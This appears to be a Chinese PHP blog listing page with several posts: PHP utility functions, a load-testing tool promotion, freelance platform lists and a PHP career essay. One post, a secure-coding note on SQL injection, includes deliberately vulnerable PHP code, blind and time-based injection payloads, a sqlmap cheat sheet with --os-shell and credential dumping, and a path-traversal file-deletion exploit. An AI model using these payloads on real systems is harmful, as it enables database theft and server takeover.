首页
关于
Search
1
给你10个市场数据调研报告的免费下载网站!以后竞品数据就从这里找!
142 阅读
2
php接口优化 使用curl_multi_init批量请求
132 阅读
3
2024年备考系统架构设计师
102 阅读
4
《从菜鸟到大师之路 ElasticSearch 篇》
102 阅读
5
PHP 文件I/O
89 阅读
php
thinkphp
laravel
工具
开源
mysql
数据结构
总结
思维逻辑
令人感动的创富故事
读书笔记
前端
vue
js
css
书籍
开源之旅
架构
消息队列
docker
教程
代码片段
redis
服务器
nginx
linux
科普
java
c
ElasticSearch
测试
php进阶
php基础
登录
Search
标签搜索
php函数
php语法
性能优化
安全
错误和异常处理
问题
vue
Composer
Session
缓存
框架
Swoole
api
并发
异步
正则表达式
php-fpm
mysql 索引
开发规范
协程
dafenqi
累计撰写
785
篇文章
累计收到
8
条评论
首页
栏目
php
thinkphp
laravel
工具
开源
mysql
数据结构
总结
思维逻辑
令人感动的创富故事
读书笔记
前端
vue
js
css
书籍
开源之旅
架构
消息队列
docker
教程
代码片段
副业
redis
服务器
nginx
linux
科普
java
c
ElasticSearch
测试
php进阶
php基础
页面
关于
搜索到
785
篇与
的结果
2023-12-26
三个实用的PHP函数小工具!
三个实用的PHP函数小工具!1.PHP检测IP是否内网地址、保留地址/** * @param string $ip 被检测的IP * @return bool 是否内网或者保留IP */ public function isInternalIp($ip) { $ip = ip2long($ip); if (!$ip) { //非法IP,直接算true吧 return true; } $net_a = ip2long('10.255.255.255') >> 24; //A类网预留ip的网络地 $net_b = ip2long('172.31.255.255') >> 20; //B类网预留ip的网络地址 $net_c = ip2long('192.168.255.255') >> 16; //C类网预留ip的网络地址 $net_local127 = ip2long('127.255.255.255') >> 24; //127保留地址 $net_local169 = ip2long('169.254.255.255') >> 16; //169保留地址 return $ip >> 24 === $net_a || $ip >> 20 === $net_b || $ip >> 16 === $net_c || $net_local127 === $ip >> 24 || $net_local169 === $ip >> 16; }这个是我网上找来的,具体地址我忘了,然后自己加了保留地址的检测。2.PHP获取HTTP包流量整个HTTP请求包流量 public function http() { $row = $_SERVER['REQUEST_URI'] . "\r\r"; $header = getallheaders(); foreach ($header as $k => $v) { $row .= $k . ': ' . $v . "\r"; } $row .= "\r\r" . file_get_contents("php://input"); return $row; }3.vue差量更新包-PHP处理public function test() { $config = json_decode(file_get_contents('vueconfig.json'), true); //配置目录,初次使用要先建立配置 $path = 'D:\\web\\project\\vue\\dist\\static\\'; // 打包的静态地址 foreach ($config as $dir => $type) { foreach (scandir($path . $dir) as $fkey => $fva) { if ($fva == '.' || $fva == '..') { continue; } else { if (in_array($fva, $type)) { //没有更新就删除该文件 unlink($path . $dir . '\\' . $fva); } else { echo '新增文件:' . $path . $dir . '\\' . $fva . "<br>"; //有更新就把新文件加入到配置表里记录 $config[$dir][$fkey] = $fva; } } } } //更新配置表 file_put_contents('vueconfig.json', json_encode($config)); }直接运行即可删除没有改变的文件,保留更新的文件,实现差量更新。
2023年12月26日
15 阅读
0 评论
0 点赞
2023-12-25
PHP安全编码总结笔记之SQL注入
PHP安全编码总结笔记之SQL注入SQL注入: 代码中的 HTTP_X_FORWARDED_FOR 地址可以被伪造,而REMOTE_ADDR则相对更安全,有些应用程序会将对方IP地址带入数据库查询是否存在,例如同一个IP每天只能注册一个账号等,如果目标代码中使用的是 HTTP_X_FORWARDED_FOR 获取的IP地址,那么攻击者就可以通过修改HTTP包头实现SQL注入攻击。<?php function get_client_addr() { if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")) { $ip = $_SERVER["HTTP_CLIENT_IP"]; echo "HTTP_CLIENT_IP =" . $ip; } else if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")) { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; echo "HTTP_X_FORWARDED_FOR =" . $ip; } else if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) { $ip = $_SERVER["REMOTE_ADDR"]; echo "REMOTE_ADDR =" . $ip; } else { $ip = "unknown"; } return $ip; } $addr = get_client_addr(); ?>SQL注入: 一种使用了过滤的代码,接受的参数经过过滤,字符串会被过滤掉SQL注入的关键字,整数会被强制转换为整数。<?php $var = date_default_timezone_get(); echo "当前时区: " . $var . "<br>"; date_default_timezone_set("Asia/Shanghai"); if (!get_magic_quotes_gpc()) { $var = waf($_GET['id']); echo "过滤后的参数: " . $var; } function waf($array) { if (is_array($array)) { foreach ($array as $key => $value) { $array [$key] = waf($value); } } else if (is_string($array)) { $array = addslashes($array); #$array = str_ireplace("and", "fuck", $array); $substr = array( "and" => "fuck you !", "where" => "fuck you !", "union" => "fuck you !", "select" => "fuck you !", "order" => "fuck you !", "update" => "fuck you !", "sleep" => "fuck you !", ); $array = str_ireplace(array_keys($substr), $substr, $array); } else if (is_numeric($array)) { $array = intval($array); } return $array; } ?>盲注的使用首先需要简单修改上方的源代码,去掉回显框,然后修改以下代码.<!DOCTYPE html> <html> <head> <meta charset="gbk"> <title>SQL 注入测试代码</title> </head> <?php $connect = mysqli_connect("localhost","root","123","lyshark"); if($connect) { $id = $_GET['id']; if(isset($id)) { $sql = "select * from users where id='$id' limit 0,1"; $query = mysqli_query($connect,$sql); $row = mysqli_fetch_array($query); if(!empty($row)) { print("查询完成了.."); }else { print("查询失败"); } } } ?> <body> <?php echo '<hr><b> 后端执行SQL语句: </b>' . $sql; ?> </body> </html>猜数据库名称: 盲注也就是程序会返回两种状态,查询成功与查询失败,我们需要自己构建判断条件,常用语句如下.index.php?id=1' and left(version(),1)=5 --+ // 返回正常,说明版本号是5 index.php?id=1' and (length(database()))=7 --+ // 返回正常,说明数据库名字长度是7 index.php?id=1' and (left(database(),1))='l' --+ // 返回正常,说明数据库第一位是l index.php?id=1' and (left(database(),2))='ly' --+ // 返回正常,说明数据库前两位位是ly,以此类推 index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+ // 验证第一位是否为l index.php?id=1')=121 --+ // 验证第二位是否为y,以此类推猜表名:如果网页返回正常,则说明存在这个表,返回不正常说明不存在.index.php?id=1' and (select count(*) from mysql.user) >=0 // 存在mysql.user表 index.php?id=1' and (select count(*) from lyshark) >=0// 存在lyshark表猜字段: 如果网页返回正常,说明存在猜测的字段,不正常则需要继续猜.index.php?id=1' and (select count(id) from users) >=0 // 返回正常说明存在id字段 index.php?id=1' and (select count(name) from users) >=0 // 返回不正常不存在name字段 index.php?id=1' and (select count(*) from lyshark) >=3 #-- // 返回表中记录数用户名猜测: 通过正则符号也可使完成多指定用户的探测,其他函数用法相同.index.php?id=1' and (length(user())) >=14 # // 猜测数据库用户名称长度 index.php?id=1' and (select user() like 'root%') # // 猜测用户名 index.php?id=1' and (select user() regexp '^[a-z]') # // 猜测开头a-z index.php?id=1' and (select user() regexp '^r') # // 第一位是r index.php?id=1' and (select user() regexp '^ro') # // 第二位是o index.php?id=1' and (select user() regexp '^root') # // 以此类推猜测前四位延时注入: 通过sleep(5)延时的方式,我们同样可以判断是否存在注入点.index.php?id=1' and sleep(5) # index.php?id=1' and sleep(5) order by 3 # // 如果是3个字段,则会延时5秒 index.php?id=1' and select if(length(user())=0,sleep(3),1) # //如果user=0则延时3秒 index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1个字符=d则延时3秒 index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2个字符=v则延时3秒◆sqlmap 命令◆常用检测命令:sqlmap -u "./index.php?id=1" -v 3 # 显示攻击载荷 sqlmap -u "./index.php?id=1" --level=3 # 指定探测级别 sqlmap -u "./index.php?id=1" --privileges # 测试所有用户权限 sqlmap -u "./index.php?id=1" --privileges root # 测试root用户权限 sqlmap -u "./index.php?id=1" --all # 查询所有数据库 sqlmap -u "./index.php?id=1" --hostname # 查询当前主机名 sqlmap -u "./index.php?id=1" --is-dba # 判断root权限 sqlmap -u "./index.php?id=1" --users # 枚举数据库用户 sqlmap -u "./index.php?id=1" --random-agent # 随机User-Agent sqlmap -u "./index.php?id=1" --output-dir="" # 自定义输出目录 sqlmap -u "./index.php?id=1" --file-read="" # 读取文件 sqlmap -u "./index.php?id=1" --file-write="" # 写入操作 sqlmap -u "./index.php?id=1" --os-cmd="net user" # 执行一条命令 sqlmap -u "./index.php?id=1" --os-shell # 交互执行命令 sqlmap -u "./index.php?id=1" --sql-query="" # 执行的SQL语句 sqlmap -u "./index.php?id=1" --cookie="" # 指定cookie sqlmap -u "./index.php?id=1" --temper="" # 指定过滤脚本 sqlmap -u "./index.php?id=1" --dbs --delay 1 # 延时1秒后注入 sqlmap -u "./index.php?id=1" --dbs --safe-freq 3 # 延时3秒后注入 sqlmap -u "./index.php?id=1" --identify-waf # 测试是否有WAF sqlmap -u "./index.php?id=1" --current-db # 查询当前数据库 sqlmap -u "./index.php?id=1" --current-user # 查询当前主机名 sqlmap -u "./index.php?id=1" --users # 查询所有用户名 sqlmap -u "./index.php?id=1" --dbs # 列出所有数据库 sqlmap -u "./index.php?id=1" --tables # 列出所有的表 sqlmap -u "./index.php?id=1" -D "mysql" --tables # 获取mysql库中的表 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # 获取mysql.host表列名称 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # 将mysql.host保存到本地 sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # 全部脱裤 sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dumpCookie注入: 当level>=2时,使用cookie注入,level >=3 使用User-agent/Referer注入.sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #判断注入点 sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜数据库名 sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名称 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2 #猜字段 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns--dump --level 2 #猜内容POST注入: 该方法通常是使用抓包工具抓取数据包,然后指定字段进行测试即可.1.浏览器打开目标地址 http://www.xxx.com/index.php2.配置burp代理(127.0.0.1:8080) 准备拦截请求3.点击login表单的submit按钮,或者其他按钮均可4.这时候Burp会拦截到了我们的登录POST请求5.把这个post请求复制为txt,记录下其中的 id=1&Submit=Submitsqlmap -r post.txt -p id --dbs Sqlmap -r post.txt -p id -D mysql --tables Sqlmap -r post.txt -p id -D mysql -T user --columns sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"其他漏洞利用任意文件删除: 执行删除语句http://php.com/?dir=.....////&file=a.txt 完成漏洞利用.<?php $dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', urldecode(trim($_GET['dir']))) : ''; $dir = str_replace("-", "/", $dir); $file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : ''; $path = "./" . $dir . "/" . $file; $path = str_replace(array("//"), array("/"), $path); echo "当前路径是: " . $path . "<br>"; if (file_exists($path)) { if (unlink($path)) { echo "删除完成.."; } else { echo "删除失败.."; } } ?>
2023年12月25日
9 阅读
0 评论
0 点赞
2023-12-25
国内最强的压测工具!测试人必备
国内最强的压测工具!测试人必备最近,发现一直在用的接口管理工具Apipost上线了压测功能虽然目前是支持单接口的一键并发压测(听说多接口压测也快了)但是也满足了我们工作的很多需求同时也是很多测试人员迫切需要的压测工具话不多说,一起来看看我们期待的功能吧~1、使用流程首先,【压测】位于API调试模块下,在进行接口调试时可以看到,如图所示(注:只支持Apipost最新客户端使用)在输入被压测的URL后,在压测tab下,填写并发数和轮次;点击【开始压测】按钮,页面展示【压测中...】状态;压测任务完成后,页面展示压测结果,完成压测。2、压测结果计算方式3、实践并发结果很容易受外界因素影响,压测时需要尽量减少外界因素影响。影响压测结果外界因素有本机句柄数限制,dns解析速度,网络质量,服务端连接数限制等等。例如使用1w并发,很容易出现超过本机最大句柄数限制(一般最大限制1024),超过句柄数限制的请求会因为句柄数受限导致连接失败。因此选择合适并发数对测试接口性能非常重要,并非并发数越大越好。并发数建议先在10,100,500,1000左右分别测试下,如果失败率小于1%,再考虑逐步增加并发数量。只有增加并发每秒请求数量能持续增加才是健康的使用方式。还有视频教程:
2023年12月25日
10 阅读
0 评论
0 点赞
2023-12-25
22个程序员接单赚钱平台汇总
22个程序员接单赚钱平台汇总八小时之内求生存,八小时之外求发展,这是很多程序员不会说的秘密!很多同学咨询具体有哪些接单平台,下面php中文网整理了22个还算靠谱的平台,以供参考!首先分享一下自身平时接私活的经历和接私活方面的注意事项,避免入坑。一:接私活前须知如果你主业上遇到了瓶颈,确实也急用钱,平时的时间比较多,想有一些额外的收入,同时为了保持技术的熟练度,这种情况下,是可以考虑接一些私活的。对于那种投入时间巨大,回报很可怜的项目,千万不要接,兼职接单非常适合PHP程序员:小单比较多,开发周期短,有很多现成的源码改一改即可,另外自己一个人就能开发,不需要团队合作。一定要明确需求,开发产品并非买手机,都是标品,对于非标品一定要需求明确到一个按钮,防止后面返工、扯皮,产生不必要的麻烦。那怎样才算做到需求明确呢?要有需求文档-原型图-ui设计图,一个都不能少并且签字确认或者邮寄确认。这样需求的具体实现功能既可以明确,又可以在出现加需求该需求的时候来当作证明备查,对于小的需求,我们可以给需求方顺手做了维护良好的关系,但对于可以能要几天工作来处理的问题,那可以以这些材料为论据来跟需求方谈增加工时费的问题。关键点:接人钱财,替人排忧解难。切记,必须付定金,越多越好。通常我的付款方式是442,即预付40%的定金,项目提测再付40%,项目上线付清余款20%,这套方式针对个人比较好用,针对公司不好用,公司通常会留一笔费用在上线后一个月两个月三个月再付清,所以付款方式可以改成5311,即预付50%的定金,提测30%,上线10%,上线运营一个月后10%,坚持一个原则,前期付的钱越多越好开发期:开发过程中请一定要经常跟客户同步你的工作里程碑,每个里程碑都让客户确认下是否达到了预期,防止后面万一是你们前期需求沟通不到位导致开发偏离方向而大改。维护期:接私活的维护期一般是一个月,最多三个月,请提前跟客户说明维护期的维护内容为系统的bug修改,而不是给你做需求,防止后面再产生误会。接私活顺口溜:没有金刚钻,别揽瓷器活。急单勿接。任何不付定金的单子都是耍流氓。不计得失,不怕吃亏。保证质量,塑造口碑。二:接私活平台汇总(22个)一般兼职接单的第一单往往是自己的亲朋好友介绍的,你的亲戚朋友知道你是程序员,第一个想到的就是你,当有一个客户后,后面客户会越来越多,这也是最常见的兼职接单方式!不过最稳定的接私活途径还是去众包平台接单,不过尽量不要去一些跟商城一样的平台,比如某八戒、淘宝等多业务的平台,杂而无当,很难碰到靠谱客户。要去一些垂直的众包平台,越垂直越好,因为无论是需求方还是程序员,他们都更加专业,做出的项目更加出彩,因为项目更加出彩,就吸引了更多优质的靠谱的客户。这些平台有很多是公司用户,他们接单后再找个人兼职去完成,只要我们技术好、按期交付、态度和服务都不错,后面订单会越来越多,会直接绕过平台,私下找你合作!另外注意的有些兼职平台纯粹就是挂羊头卖狗肉,特别是一些兼职的APP,故意发布一些兼职接单的信息,目的引导你去交钱报名学习,这样的平台有很多,就不点名了,得罪不起,同学们自行判断!下面给大家分别按照不同风格介绍几个:1、php中文网人才内推群是php中文网内部群,php中文网或者学员之间经常发布一些兼职接单信息,都是咱们内部学员,安全可靠,为了控制风险,目前不对外开放,感兴趣的同学,可以报名参加最近一期的PHP线上班(22期),本周四开班(2023.1.12)。2、一品威客官方网址:http://www.freekeer.com/一品威客网是国内创新型的威客知识技能共享平台,聚集设计、开发、策划、营销等多品类千万级威客服务商,在线为中小微企业提供专业企业服务解决方案,是威客和雇主值得信赖的威客网站。如下图:3、猪八戒网官网地址:https://zbj.com/猪八戒网老牌的接单平台,分为个人和公司入驻接单,还是非常靠谱的,不过竞争也大!有提供平台担保服务。4、互站网官方网址:https://www.huzhan.com/特色是源码交易,可以将自己开发的源码入驻售卖,另外也可以进行接单,主要是PHP相关的,包含网站交易、源码交易、域名交易、链接交易、广告买卖、建站美工任务等,并提供安全担保服务。5、一些开源CMS入驻主要是出售主题、提供安装服务、技术指导等,比如wordpress、zblog、织梦、帝国CMS...等等以下为22期学员副业接单,做wordpress相关开发:6.程序员客栈官方网址:https://www.proginn.com/程序员客栈是互联网远程工作中心,程序员的经纪人。雇佣BAT级别开发者为创业者开发产品;24个小时之内启动项目;成功率翻倍,开发成本减半。同时,程序员客栈汇聚了全球优秀华人程序员,集中展示程序员的个人履历,作品,技能以及专业社区影响力,方便创业者寻找到技术员工甚至未来的技术合伙人。程序员客栈的优势在于:实施快速。程序员客栈对接远程开发者仅需12小时,而业内招聘平均周期为43天;优质可靠。严格挑选匹配BAT级别开发者,流程缜密、交易担保,项目成功率高达99%;价格透明。每一个需求都深入拆解,标准功能点报价,帮助用户明智规划项目支出;持久丰富。有效可持续的人才对接,速配各种紧缺技能,是全面丰富远程技术中心。这是一个比较老牌的平台了,上面开发者数目相当多,无论是php、Java、C++、go语言,都可以在上面接到单。收入还是不错的,而且有不少企业会在上面发包,想接单的程序员可以注册一个账号每天ping一ping。如下图:7.开源众包官方网址:https://zb.oschina.net/开源中国的众包平台,顾名思义平台多以外包为主,上面的协助开发工具是比较多的,可以试一试。但是平台是通过竞价招标的方式来发包的,这种方式比较适合工作三到五年的程序员,权当练手,如果是工作的比较久的程序员就没必要用这种方式,沉没成本会比较大如下图:8.开发邦官方网址:https://www.kaifabang.com/开发邦,软件定制开发服务,互联网软件外包平台,十年互联网软件定制开发经验,曾服务:华为、商汤、深鉴、中国软件评测中心、华北电力大学、中科院等机构。专业从事软件定制开发,软件外包开发,管理软件开发,互联网系统开发,网站开发,APP开发,微信开发,先后为华为公司、商汤科技、工信部中国软件评测中心、神州数码、深鉴科技、中软集团、中国万网、中石油吐哈气举中心、华北电力大学、中科院科技政策与管理研究所、浪潮集团、ADI、世界五百强伊顿中国等知名企业及机构提供过互联网软件技术开发与技术咨询服务。如下图:9.电鸭社区官方网址:https://eleduck.com/电鸭社区是具有8年历史的远程工作招聘社区,也是远程办公互联网工作者们的聚集地。在社区,我们进行有价值的话题讨论,也分享远程、外包、灵活、兼职、驻场等非主流工作机会。「只工作,不上班」是我们倡导的工作态度。如下图: 10.解放号官方网址:https://www.jfh.com/这也是一个接外包的网站,而且接包方以那种小工作室为主;另外这个平台上有很多政府采购的单子,收入也是不错的。如下图:11.英选官方网址:https://www.yingxuan.co/这个平台的特色是项目管理,具体来说就是项目进度和交付的流程比较多,对甲方比较友好。如下图: 12.猿急送官方网址: https://www.yuanjisong.com/这个应该是国内众包市场上起步最早的垂直众包平台,专注于IT程序员兼职市场,也是目前国内做的最好的一个。我说的做的最好指的是项目多、程序员多,而且都很靠谱。大家不要认为程序员多就不好接单,实际上程序员越多越优秀,会吸引更多靠谱的客户,是一种正向的循环。大家在注册猿急送的时候,一定注意简历刚开始就要写好,不要随便一写凑字数就提交,因为他们对简历有严格的审核,一审不过,就永远不会再审。原因也很简单,你简历都不愿意写认真,接单怎么会认真呢?还有猿急送是完全看技术水平和服务评价推送项目的,所以建议大家刚开始接单的时候,价格可以稍微低一点,先成单子挣好评,好评越多活跃度越高,越会获得平台的推荐以及提高你的信用排名。如下图: 13.人人开发官方网址:http://www.rrkf.com/人人开发类似威客网站,不过不像威客那样以设计logo起家,而是刚开始就是做技术开发业务,尤其是企业管理软件行业的开发。人人开发的注册流程比较简单一点,但是建议大家也要认真填写简历。注册之后也可以投递职位,不过有一点就是人人开发上外包公司多一点,有的也是付费客户,所以刚开始可能需要付费注册VIP会员来参与投标,最好能找小伙伴一起用一个帐号,这样可能成本低一点。其他的平台也有挺多,之前有拉勾旗下大鲲、BOSS直聘的自客,也都很好,但是跟他们主业务好像形成不了协同效应,所以支持的不是很好,大家可以去试着注册下。接私活从0到1有一定的难度,建议耐心一点,主动投递职位,多尝试一段时间等有第一个项目了认真做,做好了信用上去了,自然单子就多了,就跟店铺开业一样,想一开业就客户爆棚是很难的,是一个逐渐的过程。如下图: 14.码市官方网址:https://codemart.com/码市是互联网软件外包服务平台,意在连接需求方与广大开发者。让项目的需求方快速的找到合适的开发者,完成项目开发工作。同时也帮助开发者找到合适的项目将技术变成财富。码市基于在线工具对项目进行管控,保障双方的利益。如下图:15.快码官方网址:https://kuaimacode.com/快码是一个创新的软件开发平台。企业可以积累开发人才,更省钱、高效地完成项目的开发;开发者可以充分利用闲置时间,在开发中成长,实现更高的商业价值如下图:16.码易官方网址:https://www.mayigeek.com/依托“码易软件服务平台” 立足于软件开发整合服务提供商,以软件系统开发、软件销售为基础,利用大数据分析,开展软件交易交付服务平台运营,为供需双方提供一对一精准服务如下图:17.智城外包官方网址:https://www.taskcity.com/智城外包网,聚合全国软件团队资源,官方认证,1小时响应,零交易佣金,托管安全保障。十年口碑运营,万家靠谱团队。免费比价,免费一站式外包项目管理工具。如下图:18、外包大师官方网址: http://www.waibaodashi.com/外包大师是一个专业的互联网产品外包解决方案提供商,成熟的APP定制开发、软件项目外包开发平台。提供互联网产品咨询、网站设计、网站开发、手机应用开发、移动应用开发、安卓应用开发、苹果应用开发、微信应用开发、Java技术、C#技术、Web前端开发、通用软件开发等服务,助力企业互联网转型。如下图:19、实现网官方网址:https://shixian.com/实现网是互联网兼职人才推荐平台,提供一流的兼职工程师与设计师预约服务,有别于传统外包私活挣钱模式,我们有来自百度、阿里、腾讯、新浪、拉勾、知乎等知名互联网公司经验丰富的人才,如工程师、UIUX设计师、产品经理。如下图:20、自由职客官方网址:http://www.freekeer.com/自由职客是权威的IT互联网行业灵活用工交易平台。提供全国真实可靠的互联网项目信息。找项目,找兼职,搜高端人才就来自由职客网。IT互联网行业找工作首选自由职客网。软件与互联网外包服务提供商,高端灵活用工综合服务提供商如下图:21、Sxsoft官方网址:https://www.sxsoft.com/Sxsoft是一个软件项目交易网致力于软件行业的项目外包和软件定制开发信息的提供、为项目需求方和软件开发人才提供一个方便快捷的软件外包平台。汇集了优秀软件开发公司和软件外包公司,是您值得信赖的项目交易平台.如下图:22、飞援官方网址: https://www.freetalen.com/飞援是一个为程序员、产品经理、设计提供外包兼职和企业雇佣的兼职平台,致力于提供品质可控、体验卓越的专业技术人才灵活雇佣服务。如下图:当然还有更高回报的方式!不过需要一定的商业头脑,比如做健身类管理系统、微信更换节日头像、疫情期间打卡、血氧自测等小程序,很多程序员赚的钵满盆满,这里就不做展开了,下次有机会再详细写一篇文章!
2023年12月25日
14 阅读
0 评论
0 点赞
2023-12-25
2023 聊聊PHP创业/赚钱那点事
2023 聊聊PHP创业/赚钱那点事第一件大事:就是俄罗斯和乌克兰打起来了;第二件大事:我国彻底放开了新冠防控,肺炎成了感冒;第三件大事:就是PHP中文网,正在成为"互联网创业者"的学习平台!1. PHP 仍然是 Web 项目开发首选语言不管你信与不信, PHP,至今仍然是对新人最友好的编程语言上世纪九十年代中期, 互联网开始萌芽, PHP, Java, JavaScript 几乎同时诞生最初都是为了互联网而生,但最终却走上了不同的发展道路Java, 成为了全球使用最广泛的通用型编程语言JavaScript(其实和 Java 无关),成为前端唯一,前后端通吃的脚本语言而 PHP 一直不忘初心,深耕 Web 开发无数互联网创业者的第一桶金,无数个创富神话,行业大佬背后, 都有 PHP 的默默支持PHP 完全免费开源, 完全由社区强力驱动(不受商业资本控制)全球上千万爱好者, 每天都在为它奉献代码,而这一切都是无偿的PHP 官方也保持着稳定的更新频率, 平均 6 个月就迭代一个版本目前,已经更新到了 PHP8.2, 目前仍在不断迭代中2. PHP 仍然是最适合新人互联网创业的首选语言每一位接触 Web 开发的,必然是从 HTML 开始可以将代码,优雅的直接嵌入到 HTML 中的, 目前就剩下 PHP用 PHP 编写动态页面,是那么的自然,流畅,和谐,以至于大家认为,就应该如此而 PHP 也不负众望, 众多新功能,语法糖,实现了"写得更少,而做得更多"无论是经典的"服务器端渲染"(SSR),还是流行的"前后端分离"(CSR)对于 PHP 来说,实现起来,几乎不费吹灰之力面向复杂应用,海量请求,极端场景,PHP 总是能提供了比其它语言更简单,更直接的解决方案哪怕,你是一名初学者, 也能翻翻手册, 快速上手3. 未来 10 年,互联网创业,仍然充满了大量创富机会不可否认, 有几年时间,PHP 在走下坡路这很正常, 任何事物的发展,都是螺旋式前进,不可能一直处于巅峰在互联网的"蛮荒"时代, 每一位"站长"都是从 PHP,学会了网站开发无论是学生,工人,白领,每一位怀有"互联网创业梦"的,都会用到 CMS而这些 CMS,几乎全是用 PHP 开发的, 包括我本人在内, 也曾经写过一个 CMS2023 年, 很多人感觉悲观众多互联网大厂裁员,降薪, 世界各地战争不断可是在有准备的人眼中, 这里面,却充满了机会从马斯克收购推特,海量裁员,到国内小米,京东,阿里,华为,腾讯的裁员,降薪让很多人感觉到了互联网的寒冬, 或者整个行业充满了不确定性但是, 你是否注意到了很多行业, 却在大量的招聘,加薪呢?任何事物, 总是具有二面性, 就像法官不能只问原告,不问被告有些 985,211 毕业生,也在抱怨找不到工作于是,就有人想当然的认为,现在大学生供过于求,找不到工作,行业不景气但是,对于一个几十人的小公司来说, 根本不需要 985,211 毕业生而这种小型化,低成本的办公模式, 永远是市场的主流可以预见, 随着 5G 普及,AI 和人工智能的发展,像成百上千人的大规模办公场景,必将消失小团队,工作室为主体的"个人创业"时代,必将到来,有可能比你想像的还要快2023 年, 很可能,就是个人互联网创业的元年4. 什么样的项目,适合个人互联网创业其实这个话题, 不管说什么, 都会被人喷所以,我说几个判断条件, 大家可以往上套第一, 自己做过,或者有所了解,或者有朋友在做第二, 这个项目,有成功案例或失败教训,供你参考第三,非常重要, 他的"试错成本",是你可以接受的我举个例子, 你想开个小公司或工作室, 接一些网站开发或小程序的单子首先, 你得有自己的开发平台, 当然这个平台不用自己写, 有现成的 CMS 产品第二,就是做好半年可能没有订单的准备, 这半年,产生的费用,你是否可以接受?第三,你做的这些项目中, 哪些是一锤子买卖, 哪些客户是可能第二年续费的,要搞清楚做个总结吧第一, 项目最好在 30 天内,并可以交付的第二, 至少 60%订金, 要做好收不到尾款的心理准备第三, 尽量选择能持续付费客户,以降低第二年的经营风险5. 我要学到什么程度, 就可以接单赚钱了这个问题好难回答呀根据我十几年教学经验, 结合一些学员的经历,简单聊一下第一: 前端这块, HTML,CSS 必须很熟悉, 至少掌握五种以上布局技术第二: 后端这块, 能自己书写一个小框架或 CMS,不是用它做项目,而是掌握工具原理第三: 至少掌握三种主流的 CMS 系统,像 wordpress,织梦,帝国等,做一些短平快项目第四: ThinkPHP, Laravel 至少会一个第五: Vue,jQuery 至少要会一个第六: 流行的 UI 组件工具,至少要掌握一到二个,例如 Element UI实际接单中, 客户可能会指定一个项目,要你模仿,所以要有极强的"仿站"能力注意, "模仿"不是"山寨"(尽管有时分不清, 这不重要)我们,就是要在"模仿"中创新, 在"山寨"中进步~~最后, 祝大家在 2023 年, 买房换车,实现个人创富!
2023年12月25日
11 阅读
0 评论
0 点赞
1
...
46
47
48
...
157